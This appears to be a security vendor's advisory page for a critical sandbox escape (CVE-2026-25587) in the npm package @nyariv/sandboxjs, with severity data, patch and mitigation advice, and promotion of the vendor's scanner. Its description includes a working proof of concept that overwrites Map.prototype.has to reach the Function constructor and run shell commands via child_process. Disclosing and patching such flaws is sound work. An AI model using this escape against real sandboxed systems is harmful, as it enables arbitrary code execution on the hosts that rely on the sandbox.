How severe is GHSA-66h4-qj4x-38xp?

GHSA-66h4-qj4x-38xp has a CVSS score of 10/10, rated CRITICAL. Immediate patching is strongly recommended.

Which packages are affected by GHSA-66h4-qj4x-38xp?

GHSA-66h4-qj4x-38xp affects the following packages: @nyariv/sandboxjs (npm). Ecosystems affected: npm.

How do I fix GHSA-66h4-qj4x-38xp?

Update @nyariv/sandboxjs to 0.8.29 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-66h4-qj4x-38xp is resolved across your whole dependency graph.

How do I detect GHSA-66h4-qj4x-38xp in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-66h4-qj4x-38xp if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-66h4-qj4x-38xp?

O3 pinpoints whether GHSA-66h4-qj4x-38xp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-66h4-qj4x-38xp actively exploited in the wild?

No public exploit code has been indexed for GHSA-66h4-qj4x-38xp yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-66h4-qj4x-38xp?

GHSA-66h4-qj4x-38xp has an EPSS (Exploit Prediction Scoring System) score of 0.6%, placing it in the 46th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-66h4-qj4x-38xp?

GHSA-66h4-qj4x-38xp is classified as Code Injection (CWE-94). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-66h4-qj4x-38xp published, and has it been updated?

GHSA-66h4-qj4x-38xp was published on February 5, 2026 and was last updated on February 6, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-66h4-qj4x-38xp

CRITICAL

@nyariv/sandboxjs has a Sandbox Escape vulnerability

Also known asCVE-2026-25587

Published

Feb 5, 2026

Updated

Feb 6, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.6%probability of exploitation in next 30 days

Lower Risk46th percentile+0.61%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

📦@nyariv/sandboxjs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.

Details

This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:

let a = Map.prototype;
console.log(a) // undefined

const a = Map.prototype;
console.log(a) // Object [Map] {}

let a = 123;
console.log(a) // 123

const a = 123;
console.log(a) // 123

PoC

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const m = Map.prototype;
m.has = isFinite;

console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;

sb.compile(payload)().run();

Impact

Able to set Map.prototype.has -> RCE

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`@nyariv/sandboxjs`	all versions	0.8.29

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @nyariv/sandboxjs to 0.8.29 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-66h4-qj4x-38xp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-66h4-qj4x-38xp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-66h4-qj4x-38xp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary As `Map` is in `SAFE_PROTOYPES`, it's prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped. ### Details This is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__` (`let` was used during testing), it turns out the `let` implementation is bugged: ```js let a = Map.prototype; console.log(a) // undefined ``` ```js const a = Map.prototype; console.log(a) // Object [Map] {} ``` ```js let a = 123; console.log(a) // 123 ``` ```js const a = 123; console.log(a) // 123 ``` ### PoC ```js const s = require(

O3 Security · Impact-Aware SCA

Is GHSA-66h4-qj4x-38xp in your dependencies?

O3 detects GHSA-66h4-qj4x-38xp across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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